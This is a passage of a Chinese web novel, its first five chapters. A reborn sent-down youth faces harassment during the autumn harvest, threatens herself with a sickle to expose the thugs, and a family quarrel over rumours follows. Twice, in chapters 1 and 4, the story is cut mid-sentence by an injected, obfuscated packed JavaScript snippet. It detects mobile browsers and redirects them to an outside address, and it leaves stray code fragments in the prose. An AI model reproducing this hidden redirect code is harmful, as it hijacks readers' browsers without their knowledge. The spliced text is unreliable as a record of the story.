《大院知青和她家糙汉》 1. 第 1 章 万里无云,稻穗一片金黄。 应晚真直起身子用手背抹了把额上的汗,现在太阳已经快升到正中间了,但是村里大喇叭还没响,也就是说还没下工。 今天她分到的这一片地只割了三分之一的样子,虽然原本分给她的就少,但也确实是她的承受极限了。 重生回到成为知青的这会儿已经快一周了,但是很不巧,现在正是秋收的时候。 她前世已经很久很久没有做过下地的活了,这两天做起来只觉得腰酸背痛头晕眼花的。 应晚真偷偷看向周围的人,大家都弯着腰干自己的活,也没人发现她停下了。 她看向离自己不远处的周母和周大嫂,才喘两口气便继续开始自己的割稻生涯。 重生这几天来,她每天出门薅猪草,现在正是秋收的时候,老老少少都出门了,别说她这个身份尴尬的人。 为什么说她身份尴尬呢?不仅仅是因为她是知青,更是因为她父母是被下放的,当然还有一个就是她嫁给了村里现在最有出息的人周久迟,但是在一个月前传出来应晚真压根没和他同房。 应晚真刚重生回来那几天还是慌乱迷茫的,而且她生活在周家村的年份已经距她很远了,因为她死的时候已经二十一世纪,说起来现在这时候在她记忆里已经是二十多年前的事了。 不过可能是这里的环境,倒是把她那深埋的记忆给勾起来了。 现在她已经理清楚了目前是怎么一回事了。 也就是自己下乡两个月后传出自己父母被下放的消息,后来自己便因为这个身份还有十里八乡都没有的容貌被人给盯上了。 她这样的身份在这样的年代又加上这样好的容貌,只能说是一个大写的不平静了。 在经过多次提心吊胆和流言蜚语之后,她答应了同村周久迟结婚的请求,当然这个结婚并不是真的成为夫妻。 但说到底还是应晚真得到真实的好处,毕竟成为了村里人,又是村里顶有出息的后生周久迟,他是退伍军人现在是货车司机,因着这身份最起码不会有别人再敢明目张胆地调戏她。 可好景不长,在一次周久迟出车的时候,她因为生病被周母谢红英进了两人的房间这才发现结婚几个月了,结果两人都没睡在一起。 这下可把谢红英给气坏了,当初她就不同意应晚真进门,嫌弃她干不了活,嫌弃她长得太惹眼,嫌弃她是牛鬼蛇神的女儿,但是架不住自己儿子喜欢,她才勉强答应,结果…… 应晚真这一个月来过得不可谓不艰难,当然周久迟在事情被发现的第三天就回来了,但是他只有一句话,应晚真是他媳妇,什么都变不了。 因为家里发生这些事,所以他连着推了两次长途出车,现在是不能推了,只能去出车。 也恰好正是秋收的时候,就算两人没同房的事传得沸沸扬扬,现在也还算平静。 而且因为看到了周久迟的态度,再说这种房里的事,还是有很多人不相信两个人没同房的,毕竟都住一起了,他们也想象不出周久迟怎么会这么孬,当然他们也是心里想想,更多的还是看热闹。 尽管很多人看不惯应晚真,但也只是私底下说说。不过这也只是普通人,另外一些就不这样了…… 应晚真又割了一小块地,她又有点撑不住了,汗水都流到眼皮里了,她忙用手背擦擦,要是流进眼睛里,那可就有的难受了。 “呦,这不是周老三婆娘嘛?哎呦,这割稻子累不累,要不要哥来帮你?” 应晚真眼神渐渐冷下来,她知道这个人,这人就是周家村出了名的二流子王二狗,天天到处溜达,好吃懒做,嘴里吐不出象牙,还总是往应晚真面前凑。 当然在应晚真结婚后没传出没同房之前,他是不敢往应晚真面前挨的。 “哎呀,应知青,这是什么表情嘛,看见我怎么这个样子,你看哥,这大热天的还来看你,要不然我给你割稻,看你这累的!” 说完,王二狗身边的狐朋狗友李富贵添了一句,“二狗子,这割点稻子哪会累,你看应知青这表情,我看倒像是晚上没被伺候好!” “没伺候好?周老三这么不行啊?连自己媳妇都伺候不好?” 应晚真没什么力气,而且她自小的道德和教养早就注定了她不是那种野路子的人,她一向走的都是正道,当然也是和别人闹不起来的人。 但没想到他们越来越过分,看到他们的动作和各种说的话,应晚真突然觉得也许就是自己这幅样子,让他人觉得自己好欺负了。 她看了眼自己手里的镰刀,顿了顿,突然往田岸走。 王二狗两人看着应晚真心里一跳,但是转头一想,不过就是个女人怕什么,她敢来,到时候被按倒了那可怪不了他。 想着,王二狗还毫不掩饰地从头到脚把应晚真扫视了个遍,斜着嘴叼着一根草, “过来是想哥了吗?要不要哥伺候伺候你?” 应晚真看着王二狗,往他另一边上了岸,一上岸抬头瞟了一眼王二狗,缓缓露出一个笑,“你退后干什么?” 王二狗被应晚真这个笑晃了下神,虽觉得不对劲,可还是不自觉地吸引住了,刚想开口,脸上就传来一阵火辣辣的疼。 下一秒,耳边听到另一个巴掌声。 等两个人瞪向自己时,应晚真连忙把刚刚自己从地上捡的一个土块搓成泥粉朝他们脸上一挥,转身就跑。 应晚真早就看好了位置,这一世她没像前世那样因为不知道怎么面对周家就主动把分给自己要割的地给换成离周家人远的地方,她现在就按照大队长分配的那样在周母和周大嫂后面这块。 所以这也是她为什么刚刚上了王二狗身后的田岸。 不过这时候应晚真可不敢停下,但凡停下被后面两个流氓追上,那可说不清嘴了,当然,就算被追上了,她也不带怕的,别忘了,她手里还有个镰刀。 应晚真怎么也不是个熟悉田间的人,田埂本来就窄,她也不是那种身体素质特别好的人。 就在离周母还有十米的距离,应晚真突然感觉到自己身后一股劲风。 “妈!” 大声朝周母喊完这句,应晚真立马停下脚步转身举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420806|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起自己手上的镰刀。 王二狗靠了本能才停下脚步,等反应过来才发现那镰刀离自己只有一个手巴掌那么远,顿时他全身都是冷汗。 “王二狗,你咋停下了?” 王二狗闻声偏了下头,恰好让李富贵看见应晚真举着把镰刀指着他,顿时,李富贵也没了声音。 周母谢红英先是听到声急促又大声的妈,还在纳闷这是谁的声音这么耳熟的时候,循着声音看过去,就看见后面两个流氓追着自家三儿媳,更让她震惊的是,她竟然拿着镰刀指着别人。 “老三媳……” 谢红英话还没说完,就看见应晚真手里的镰刀调转了方向,放在了自己脖子上。 顿时吓得谢红英一个激灵,周大嫂也控制不住地低呼了一声。 不远处早听到动静的人看到这场面,一个个也是被吓得不行,一扔下镰刀就往应晚真这边跑,“这都是在干嘛啊?干嘛把镰刀往自己脖子上挥啊?” 也有一些不敢趟这趟混水的,悄悄在一边看。 应晚真也听到有人老远喊着,“去把大队长村长他们叫过来!” 谢红英也被这场景吓坏了,她放下手里的活就到应晚真跟前,“老三媳妇,你这是干啥啊?你先把镰刀放下!” 应晚真一听,更把这镰刀放在自己脖子上紧了紧。 谢红英心里顿时一揪,虽然自己对这儿媳妇不是很满意,但是怎么也是个活生生的人,而且还是自己儿子喜欢的,这下自己儿子还在出车,他媳妇就抹脖子? 王二狗被这场面弄得头皮发麻,他也就是路过这看到应晚真嘴贱多说了两句,怎么都上镰刀,而且这时候走也不好走了,身前一个拿着镰刀抹脖子的死死盯着他,身后挤着一堆大娘大妈。 应晚真看着围着越来越多的人,连周父还有周久迟的两个大哥都跑来了,当然随着一起的还有大队长跟村长。 大队长和周父是两兄弟,村长则是同姓和两家出了还没出五服的老一辈。 大队长周家良急忙赶到,从人群里挤进来,“应知青,你这是干什么?这镰刀多危险啊,你赶紧放下!” 应晚真也不知道是怎么,这是她早就预料到的,但是这时候心底还是不免委屈了起来,为前世的自己,也为现在的自己,顿时一滴泪就流下来。 “大队长!你说得对,镰刀很危险。” 大队长一听马上接话,“是啊是啊,可危险了,你赶紧放下吧!有什么事咱坐下来好好说!” 应晚真没听,而是吸了吸鼻子,“大队长,我知道我不会干活,手不能拿肩不能扛的,但我也是响应国家的号召来建设农村的,可是我来到这里,干活上工我都是听安排的,这个大队长你清楚吧?” 大队长顺着应晚真的话想了一下,“那当然,应知青来到咱们大队,虽然不像咱们村里人是个干活的好手,但是从来也不抱怨,每天都尽力干,这我当然也是看得到的,这大家都知道,村里人对这可没什么意见,大家伙都知道!是吧?” 围着一圈的人没想到这事怎么突然扯到他们身上了。 2. 第 2 章 不过也没什么要紧的,马上就有人附和,“是啊,应知青来到这虽说干活不咋利索,但好歹没跟个懒汉似的天天偷懒吧,而且在知青里边干活也算是不错的了。” “就是就是,怎么说应知青态度好啊,咱们干活她也干,也不像某些人一抓住机会就开始偷懒。”说这话的是周家邻居林大娘,她一向有啥说啥。 大队长老婆刘文芳这会儿出来了,“说的是,应知青,你看大家伙都知道你态度好,又是知青,怎么这会儿拿起镰刀来了,有话咱们慢慢说,咱家老周又不是不讲理的,何必拿自己的命开玩笑呢?” “刘伯母,”应晚真因为刚刚掉了些眼泪,这会儿眼是红的,眼眶里还装着些泪水,影响了视线,但不影响她知道刚跟她说话的是谁,尽管应晚真想好好说话,可就是忍不住,说着,应晚真喉头又哽了哽。 “我知道,大家都觉得我爸妈下放了,所以都觉得我是个坏胚子,但是我一直都带着崇敬的心来建设咱们祖国的土地,虽然我做不了什么,可我做事一直都是问心无愧。 “最起码在响应国家的号召来做事!大队长,以往你给我分配什么活我都尽力去干,我怎么做的大家都能看到,各位婶子也可以给我证明,” 应晚真说着,话锋一转,“但是,我响应国家号召来了,有些人却一点都没有建设家乡的意思。” “今天,本来就是秋收,大家都很累,大家都在忙着把今年一整年的努力收回来,我也不想打扰大家的,可是,他!王二狗,不仅自己游手好闲,还跑到我割稻子的地方……” 应晚真眼泪又吧嗒吧嗒往下掉,“他……我父母是下放了,他因为这个来嘲笑我就算了,但是他凭什么来到我这里说些乱七八糟的,再怎么说,我也嫁给了周久迟,也是周家村的人了,他凭什么还说三道四,对我耍流氓,要知道耍流氓是要吃枪子的!要是告他一告一个准” 王二狗刚想反驳又被应晚真大声压回去了,“我不理他,只想好好地秋收,趁着时间还早天气又那么好尽快把粮食收上来。可是王二狗子不依不饶。 “我想着大家都是同一个村的,别闹这么难看,可他看我不理他就站在田岸边不停骂我,我让他走开,他也不走,他不走我走!可是他看到我走就来追我!” 应晚真吸了一口气,“要不是大队长把分给我的地在我妈这边,我都不知道我要跑去哪里,我妈她们就在那里割稻子,他们也敢来追我,我本来就跑得慢,要不是我妈她们离得近,我早就被追上了! “要是追上了,我都不敢想他要怎么对我!” 此时,林大娘附和道,“是啊,刚刚我转头就看见久迟媳妇边喊红英你边跑,后面就跟着这俩鳖孙!我都看见了,要不是应知青手里拿着镰刀,王二狗跟李富贵就抓住她了!” 谢红英本来还有点懵,不仅仅是现在把镰刀架在脖子上的应晚真让她惊讶,更多的是应晚真竟然喊她妈了。 不过现在也没时间给谢红英想其他的,她听着林大娘的话,顿时一股火气蹭的就向上涨了。她呸了一声就冲向王二狗,“你这个有娘生没娘养的东西,我周家的儿媳妇也敢来欺负,真当我家没人了?” 王二狗看到这情形顿时想跑,但是他前面是拿着镰刀的应晚真后面是还不知所措的李富贵,下一瞬他就被谢红英抓住了头发。 周父周家庸早就自己婆娘冲上去的时候也冲上去了,他刚想拉住自己婆娘却看见王二狗子竟然反手想打自己老婆,顿时他就转了一个方向,直接呼了王二狗一掌。 周家大哥也凑了上去,顿时王二狗就被压着动弹不了,当然还有身后的李富贵。 应晚真一眨不眨地看着这场面,突然,她的手一痛,镰刀顿时就不在自己手里了。 “老三媳妇,你干啥跟自己命过不去啊,好死不如赖活着!” “哎呦喂,快啊,久迟他媳妇流血了!” “流血了流血了!” 等应晚真感受到自己脖子上的疼痛才感觉出来自己的皮肤被刮破了,应该是别人来抢自己手里的镰刀不小心刮到的,她伸手摸了摸,一股小水流一样的血,看起来并没有伤到大血管。 意识到这个,应晚真也就不急了,反正没有重伤,先把这里处理完了再说。 谢红英听到应晚真流血的消息顿时停下了打王二狗的动作。 “我没事。”应晚真已经大概确定了自己的情况,看见谢红英冲过来便摇了摇头。 王二狗这会儿没人压着他打,他也缓过来了,顿时瞪着应晚真,“我呸,你这个婊子,话说得好听,说是周家人,但还不是不跟周久迟那个孬种睡?” 谢红英这会儿也想起了这茬,这事还是她发现的,但是她压根没有往外传啊,这段时间也不知道是怎么传出去的风言风语。 应晚真瞪大双眼,不可置信,“你怎么能说这种话?你怎么可以造谣?我男人周久迟以前是军人,现在是县里运输队的司机,我都已经嫁给他了,你居然说这种话。” 说着,应晚真佯装恍然大悟,“你不会是想害咱们村吧,周久迟以前是军人,你却要这么诽谤他,说他各种不好,是觉得他们当兵的不好吗?还有,我跟我男人怎么样你怎么会知道?我跟我男人好着呢,他对我这么好,我是多想不开不跟他好?” 王二狗被这么一说突然也有点怀疑,本来听到王二狗说应知青都不和周久迟睡的人已经开始不站在应晚真这边了,毕竟不算自家人了。 可这会儿又觉得应知青说的对,毕竟周久迟是十里八乡有能耐又俊朗的大小伙子,他对应晚真怎么样,大家都是有目共睹的,多傻的女人才会放着这么一个人不要啊? “你不会是想挑拨离间 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王二狗听了半天,一听到说自己跟个大老娘们似的就受不了,尤其是应晚真这么面无表情看着自己的时候,他顿时炸了,“应晚真这个臭婊子,你本来就没跟人家睡,嘿,都孙家传出来的,不就说你不给睡,让孙家的人给嫁过来吗?哈哈,说不定周老三都跟那孙家的睡了!” 应晚真没想到还有这个意外收获,前世她一直都不知道到底是谁传出去的,还一度怀疑是谢红英说的,可最后被自己推翻了,但没想到居然是自己的好二嫂,孙盼睇。 不过她原本跟孙盼睇就不对付。 谢红英这个暴脾气,一听到这话马上又给被按着的王二狗两巴掌,“你个烂货,我打不死你,你个贱种,我儿子可没你那么下贱,天天上下嘴皮子一碰就说别人家的事,还天天胡编乱造,看我不打死你!” 这会儿孙盼睇过来了,今天轮到她在家做饭,在秋收的时候做饭是一个轻松的活计了。她原本待在家里,但这会儿看下工铃都响了很久家里人都没回来就出来了,一出来就看见这边围着一堆人。 一凑进去,里边全是自家人。 “娘,爹,这都是咋了?发生啥了,”说着,孙盼睇还往前凑了凑,“呀!这不是王二狗吗?当家的,咋回事啊?” 王二狗看见来人顿时恶狠狠地问,“孙盼睇,是不是你回娘家说周家老三跟他媳妇没睡一起……” 孙盼睇顿时有点慌,这事是她说的,突然间在这么多人面前爆出来她也觉得有点丢人,下意识就想反驳。 但是她转头一看到自己婆母的表情,谢红英现在情绪没那么激动了,只是依旧拉着一张脸。 孙盼睇又转头看向应晚真,应晚真的眼神冷冷的,没什么情绪,而且她还看见应晚真脖子上流了血,虽然不多,但是看起来就跟刀抹脖子的样。 3. 第 3 章 她心思一下子就起来了,反正根据之前婆母那样子,这知青肯定不愿意跟着三弟,婆母也不喜欢这儿媳妇,再说了婆母现在这表情肯定也是生气这知青这么看不起三弟,真不知道老三是怎么想的,非得跟这知青结婚,啥也不会,除了张脸跟个狐狸精一样还不如娶自己小妹,自己小妹干活家里家外都是一把好手,长得跟自己也差不多,肯定能生不少男娃。 “我三弟的事我可不清楚,不过我三弟妹在家倒是对家里不冷不热的,他们床铺倒是有两床被子!” “孙盼睇!你说啥呢?”这是周老二周久建说的。 孙盼睇冲人翻了个白眼,刚想说话就被面前的谢红英一巴掌给打懵了。 “按道理,你是儿媳妇我不该打你,但是你今天实在太过分了,我家老三的事关你什么事?” “二嫂,我敬你是我二嫂所以喊你二嫂,但是你也太不配了,怎么都是周家人,你凭什么这么中伤我?我跟我男人好好的,结果你在外面到处说我?” 孙盼睇顿时怒了,“你本来就不愿意跟老三好,我说说怎么了?” “首先,我跟谁好跟你没关系,你没有这个资格说三道四,二,我正经嫁给周久迟领过结婚证,你没资格说我,二嫂你这种背后说人的习惯可得改改了,小心以后你孩子学成你这样!” “我说你还说错了,我孩子学成我这样不好吗?你不做还怕人说吗?” “我做什么了?” 谢红英这时候气得已经胸口起伏了,“孙盼睇,你给老娘闭嘴。周久建,把你婆娘拉走,你看看你娶的什么玩意儿,一天到晚就知道搬弄是非,你就是不安好心,不就是想着我家老三离了好娶你娘家人吗?现在我谢红英就在这明白着告诉你,我家不会再娶跟你娘家有关系的任何一个人!” 末了,谢红英又补了一句,“现在老三跟他媳妇好着呢,我告诉你,别打着我家的主意,跟谁看不出你的心思似的!” 孙盼睇虽然是想着把自己妹子嫁过来,可是现在人都还没离婚就被扯出来了,可不是啥好事,“娘,我没有!” 王二狗就是个看热闹不嫌事大的人,虽然他现在自己都没脱身,“没有,我看你真跟外面的八婆一样,我都听你弟说了,说等周老三离婚了,就让你那跟黑煤球似的大脸妹子嫁过来,要周老三工资给你弟讨个城里的媳妇!” 谢红英火气顿时蹭蹭往上涨,“你说的是真的?” 王二狗倒是啥也不怕,“不信你去问她弟,她弟都在我面前炫耀多少次了?还说要周老三的钱买手表买自行车买三大件呢!” 孙盼睇心里暗道不好,她虽然说了周老三要过下不去的事,可没说要给她弟花周老三的钱买这么多东西啊,她想的是自己妹子嫁过来,自己又不用干这么多活了,还能更方便从周老三那里拿钱!虽说娘家可以给,但是手表自行车三大件,她可没这个钱出的。 谢红英看着孙盼睇这心虚的模样,顿时心里了然,“好你个贱蹄子,以前扒拉着老二补贴你娘家就算了,现在还打算把我家搬空啊,周老二你看看你娶的啥玩意儿?” 应晚真并不想继续看这场闹剧,再说了她脖子上的伤口还要处理呢。 “二嫂,我没想到你是这样的人,我知道你不喜欢我,但是你也不能不顾你自己的孩子啊,你看看你的三个孩子,要是把家里的钱都给你娘家了,你的孩子该怎么办呢? “看在二哥的面子上,今天还有以前中伤我和我男人的事我就不计较了,但是,我告诉你,没有以后,而且,我男人挣的钱是养家的,养爸妈的,不是给你娘家填窟窿的,你就算要填也去找你自己男人!” “王二狗李富贵,今天的事你必须给我道歉,而且要写道歉信,大家伙都看到了,可以帮我作证。要不是今天大家伙来得及时,我今天就会被镰刀弄死在这! “我被镰刀弄死在这,绝对不是我自己愿意的,要不是他们追我,我不会拿镰刀,所以就算是我自己拿着镰刀,也是你逼的!这事要是闹出去,要么你判流氓罪吃枪子,要么我死在这以后每天晚上就去你家窗子外边盯着你!” 说着,应晚真转头看向孙盼睇,“你也是!” 这话说完,好久都没人说话,还是大队长媳妇反应快,“老三媳妇,道歉是应该的,今天是你委屈了。都是一个村子的低头不见抬头见,有什么误会解不开呢,不过这脖子得去赤脚大夫那看看了,再不看也不知道会伤到哪里。 “咱们村子也没什么顶坏的人,你又是咱老周家人,怎么还会有人欺负你呢,有人要欺负你,尽管找你男人,找大队长村长他们评理,以后咱这种拿刀拿什么的这事就别做了!” 大队长也忙说,“就是,要是队里有啥事我肯定会给你们做主的,王二狗,我告诉你,你以前就好吃懒做偷奸耍滑,要不是看你是村里人,早就饶不了你了,现在还敢欺负到自己人身上,谁给你的胆!过几天开会,我就要严肃地批评你,还有等过年你家年猪也少分点!” 王二狗顿时嚎了起来,“别啊,我这不是认真干活了嘛,大队长,你放心吧,后面秋收我肯定认真干,你别扣我的年猪啊!” 然而大队长并不理他,也没人给他说话,毕竟一个人少分点,其他人就可以多一点,再说了这个人偷鸡摸狗,平日里也没少薅队里的东西。 “大队长,这件事我可以不计较,但前提是他和李富贵要手写道歉信,而且一式三份,一份我留着,一份大队这边留着,还有一份他自己留着,这些留着不仅仅是为了给我道歉,要是以后他们要是再敢过来,我就拿着道歉信去报公安!” 大队长一听马上看向了王二狗,脑子里也还在想着对策。 王二狗一听要报公安,顿时就想跑,可被几个大娘按得死死的。 “久迟媳妇,这都一个村的报公安是不是不太合适啊,当然王二狗他们有错,这一次要不然就算了?”周家良犹豫着说,毕竟这 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王二狗和李富贵也不敢造次,连忙到了晒谷场,问记分员拿了几张纸和笔开始写起来。 “这……道歉的道怎么写?”王二狗抓耳挠腮,斜着眼睛看李富贵,李富贵也不遑多让。 “你这写都没写,还挡什么挡?” …… 应晚真看着大队长他们指导王二狗李富贵写道歉信,“等下午的时候我来拿,现在下工了,我就先回去了。” 她转头看向谢红英,“妈,太阳太大了,先回去吧!” 周大嫂马芳一直都是闷闷的性子,刚刚她一句话也没说,现在倒是附和应晚真的话,“是啊,爹,娘,都得回去了吧。” 围着的人看了也说,“是啊,这都大中午了,我这饭还没做呢!” 大队长也适时说,“既然事情已经说开了,那就先回去吧!下午还得秋收呢!我会盯着他俩把这道歉信弄好。” 应晚真点头表示自己知道了便跟着周家一伙人回去了。 走到家门口,谢红英转头看向周大嫂,“老大家的,你带久迟媳妇上赤脚大夫那看看脖子,快点回来吃饭!” “行,娘!” 应晚真走的时候又看了眼谢红英,终于还是说了一句,“谢谢!” 应晚真知道谢红英本身没什么大毛病,只是她是一个母亲而且身上还有明显的时代烙印。 谢红英听到这句谢谢后愣了一下,然后想说些啥最终也还是没说。 等一回去,家里其他人都进去之后,谢红英抄起扫把,孙盼睇心里就是一咯噔,她实在是太恐惧了,以前在娘家她就经常被这么打,都来不及细想,她就往周老二身后躲。 周老二也是一惊,“娘,你这是干啥?” 谢红英本来就没想打孙盼睇,见此,她直接一扫帚呼在周老二身上,“今天打的就是你!” 4. 第 4 章 周老二还没想明白咋回事呢,那扫帚就往自己身上招呼了一下又一下。 孙盼睇跟在他身后想拦又担心打到自己就使劲喊,直到看见自己的三个儿子,“快,儿子!快拦住你奶,别让你奶打你爹了!” 谢红英听到马上停下手里的动作,“谁敢,我看你们叁谁敢,今天我就告诉你们,是你们亲娘做错了事,而且还妄想把咱们家里的东西全送她娘家去!这种人我是一万个看不惯,当初要不是我家老二死心眼非要把你这种人娶进门,我告诉你我是绝对不对让你进门的!” 这句话扯到孙盼睇心里的痛了,她一直都知道家婆看不惯自己没想到自己都生了三个孩子了,还都是儿子,可公婆还是看不惯自己,本来以为老三媳妇进门之后,公婆对应晚真更不满,还以为自己好日子来了呢,结果现在当着这么多人面打自己脸。 谢红英看着孙盼睇一脸不知悔改的模样,顿时气血又上涌了,“我不打你是看在你只是我儿媳妇,不是我生的份上。周久建,今天老娘打的就是你,你看看你娶回来的什么东西,自己使劲巴拉东西往娘回家送就算了,现在还打上老三的主意了。” 说着,她又在周久建身上多打了两下,“你自己不想想你都三个儿子了,不多攒点他们的老婆本,还由着你媳妇把家里搬空,搬空也就算了,还算计到你弟弟头上了,真当全家都是你的啊?我告诉你,你要是继续任由你媳妇补贴她娘家,以后你们就一家子过去吧,你儿子以后吃树根趴泥土饿的前胸贴后背看我管不管你!” 周老二本来就爱贪婪耍滑,脑子也不灵光,家里的事他也不管,就是个刷手掌柜,所以小家里基本都是孙盼睇决定,这会儿听到他娘的话,顿时有不好的预感,“娘,你这是啥意思,我怎么会把主意打到老三身上呢,再说了,她娘家……她娘家日子过得苦……她当大姐的……” 谢红英顿时就要炸了,“所以就拿你儿子的口粮看着她弟吃的比地主家的孩子还胖吗?吃的这样胖还说日子过得不好?你也不心疼心疼自己的孩子?你看看,你几个孩子多瘦,全被你媳妇喂进她弟肚子里了!” 孙盼睇顿时眼泪就掉下来了,“娘,我没有,我真的没有,肯定是别人故意看不得我好所以乱传的,你得相信我啊,再说了,我是当娘的,怎么会不心疼自己的儿子呢。我肯定心疼自己的儿子啊,而且我跟老二都商量着给孩子们攒着老婆本呢,怎么会给别人,娘,你不相信我,也不要怀疑我把钱都扒拉出去啊,我都生了三儿子了。” 谢红英也不太清楚孙盼睇到底巴拉了多少给她娘家,但看她说的这么情真意切,再说了孙盼睇自己好儿子,现在生了叁,总不至于还亏待儿子吧。 至于其他的,她也就睁一只眼闭一只眼,毕竟儿子们的日子还得是他们自己过的。当初老二非要娶孙盼睇的时候她就不同意,不过现在孩子都大了,她也说不了啥。 现在她唯一担心的就是老三媳妇那边了,虽然今天发生了这样的事,但她还是一直对应晚真的成分不满,毕竟这可是一个不小心就要毁掉自己儿子前程的。 可她老了,儿子一个个地都不听话,还死犟,看今天应晚真这样子倒像是愿意跟着老三的,可谁知道什么时候会变卦呢,虽然今天老三媳妇说他们圆房了,可她知道不是,不然上次她问的时候为什么两人沉默呢,不过这就得看老三回来怎么说了。 说实在的,虽然她不满意应晚真的身份,但是这人相处下来确实品性啥的也还好,最起码是个实诚人,不像老二家的小气吧啦脑子跟屎一样,嫁进来的时候还好,生了儿子之后就跟大家都得供着她一样,不知道的,还以为生了个金疙瘩呢! 也不看看自己啥样,虽说是自己的亲孙子,但谢红英确实也没看出来这几个男娃有什么过人的,如果再随了他妈,那真是…… 谢红英都不忍想到这个画面。 “老二媳妇,我告诉你,你既然嫁到了我周家,就好好学学我周家这一套,别把你娘家那一套全带到我家来!孩子是你的,教好了以后享福的是你,教不好受罪的也是你!” 谢红英还想问她难道你觉得现在你妈这么大年纪还养着一头肥猪一样啥也不干的儿子是享福吗?不过谢红英也明白这样说就是自己的不对了,就算自己说的是对的,也会让人厌烦,剩下的也就只有自己儿子去领悟吧。 “老二,他娘家你这几年看清楚了吗,想想你的儿子吧,怎么?难道你想以后你的儿子都随了孩子他舅?” 孙盼睇听到这话就想反驳,就跟护崽的母鸡一样,但是周家老二周久建马上就阻止了她。 再加上公公周家庸这要杀死人的眼神,孙盼睇也不敢再说些什么了。 这边,应晚真已经跟随大嫂马芳一起到了赤脚大夫这。 赤脚大夫陈茂有个儿子,已经成家,他在这里也已经行医很久了,祖上也是大夫,算是祖传的手艺。 一到里面,陈茂就皱了眉,“怎么弄成这样。” 应晚真不想再说了便只摇了摇头,“麻烦你帮我看看。” 陈茂也就是随口一问,人不说他就只要看病就好。 他让两人先把自己身上的泥土洗干净,洗干净后就开始看向了应晚真的脖子,“镰刀还是什么割的?” 马芳刚想开口但是想想刚刚发生的事她又止住了。 应晚真倒是没什么好介意的,“镰刀不小心割的。” 陈茂看了看应晚真的脖子,“是流了些血,幸好没割到大血管,不然可救不回来了。不过现在也不严重,我先给你消毒,还有,你这镰刀生锈没啊?” 应晚真听着问话,“这我也不太清楚,就是秋收在大队长那里领的镰刀。” 陈茂皱了眉,“看你这伤口还是得打个破伤风。” 应晚真点点头,破伤风还是得打的。 倒是大嫂问了句,“多少钱啊?” 应晚真一愣,说来她来这一个多星期了,也没看见过钱,印象里她前世这时候身上应该还有点钱,但是时隔这么久了,她有点忘记了自己的钱放哪了。 陈茂看了马芳一眼,语气不冷不热,“一块二,破伤风本来就不算便宜。” 马芳眼里闪过一瞬心疼,但很快就说,“我们都是刚从秋收回来,等会儿我回家拿钱给你送过来,你看行不?” 陈茂没说话,手上倒是不停继续给应晚真处理了。 回去的路上和来的时候一样,两人都没什么话,他们俩都不是什么多话的性子。 其实应晚真对自己这个大嫂印象并不深刻,只知道跟周大哥周久红差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420809|169040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是老实本分的性子,当然两个人对孩子也是疼爱的,她现在生了两个孩子,都是女孩。 她倒不像是孙盼睇那样重男轻女,但别说现在了,就是后世也有不少人重男轻女,这重男轻女的思想说破天也还是有的。 就因着她只生了两个女儿,而且到现在几年了还没有怀上孩子,村子里就有些闲话,孙盼娣看到自己这个大嫂也是洋洋得意,觉得人家生不出儿子。 老大一家就被老二家的压得死死的,虽然后来老大有周久迟的帮衬越来越好,但前期还是受了不少委屈的,而且两人确实也不是什么有大能耐的人。 等到家,家里已经摆好饭了,周母谢红英正打发大哥家大女儿周婷来寻。 马芳一进去,就跟谢红英说,“娘,我们回来了。” 谢红英抬眼就看向跟在马芳后面的应晚真,就看人白净的脖子上一抹刺眼的碘酒痕迹,也能看出那一道清晰的刀痕。 “多少钱啊?还没付吧?” 马芳心里有点忐忑,不过还是说出口,“口子有点大,打了针破伤风,一共一块二。” “就这口子,血都没流多少,就要一块二?”孙盼睇本来打算夹着尾巴做几天人的,可是现在不就一点点伤口吗?去看大夫也就算了还要打针,打针就算了,居然还要一块二! 谢红英顿时就把筷子一撂,“别忘了,还不就是你回你娘家到处嚼舌根,不然会发生这样的事?你要是不想吃饭现在就可以滚!” 孙盼睇低着头使劲戳了戳饭,不敢再讲话。 谢红英则从自己兜里数出一快二,“老大家的,等会儿你上工的时候拐个道把这钱给付了。”说完,谢红英神色一凛看向孙盼睇,“你下午到点就去秋收,不要又在家里磨洋工!” 孙盼睇没法反驳,前几天她确实嫌累天天磨洋工,谁知道今天本来以为可以把老三媳妇弄出去,结果自己连偷懒的机会都没了,想着这孙盼睇连带着对应晚真也不满了起来。 谢红英说完又看向自己的三儿媳,顿时不知道该说些什么,毕竟这个儿媳是她最看不懂的,可自己儿子又那么喜欢。 应晚真也看出了谢红英的犹疑。 “娘,我今天下午继续在我那片割稻子吧,有事我会来找你们。” 谢红英听到这声娘感觉又不一样了,今天上午在地里,她喊的是妈,这是城里人的叫法,那时候她也没细想,现在一想,心里倒是舒坦很多。 倒不是她斤斤计较这些称呼的小事,而是以前她不这么喊,也不经常喊她,现在却随着村子喊娘了,说实在的,谢红英看到她嫩白的脖子上一片碘酒染成的黄还有伤口,突然有点不想让她去秋收了。 但是她也知道自己没那么大话语权,再说了要是让小儿媳不去秋收,另外两个肯定心里不舒服。 “行,那就吃饭吧!”说完,一大家子都开始大口吃起来了。 应晚真的碗里是红薯饭,红薯挺干的,也不是什么好味道。她重生刚回来的时候还有点兴致,毕竟已经很久没有吃过这样的饭了,但是这种饭真的不能多吃,不管饱而且还有点硬。 今天她倒是没怎么嫌弃,因为秋收还是比较消耗的,所以应晚真这次也把分给自己的饭吃完了,末了,应晚真还看见自己碗底的三块肉。 5. 第 5 章 